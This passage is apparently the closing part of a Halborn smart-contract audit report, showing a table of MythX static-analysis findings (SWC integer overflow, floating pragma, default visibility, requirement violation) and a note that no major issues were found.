| 115  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "/" discovered         |
| 115  | (SWC-101) Integer Overflow and Underflow | Unknown  | Arithmetic operation "+" discovered         |

| Line | SWC Title                                   | Severity | Short Description                     |
|------|---|----------|---------------------------------------|
| 3    | (SWC-103) Floating Pragma                   | Low      | A floating pragma is set.             |
| 28   | (SWC-123) Requirement Violation             | Low      | Requirement violation.                |
| 35   | (SWC-108) State Variable Default Visibility | Low      | State variable visibility is not set. |
| 36   | (SWC-108) State Variable Default Visibility | Low      | State variable visibility is not set. |
| 37   | (SWC-108) State Variable Default Visibility | Low      | State variable visibility is not set. |
| 38   | (SWC-108) State Variable Default Visibility | Low      | State variable visibility is not set. |
| 261  | (SWC-123) Requirement Violation             | Low      | Requirement violation.                |

- No major issues found by the MythX tool.

THANK YOU FOR CHOOSING  
 HALBORN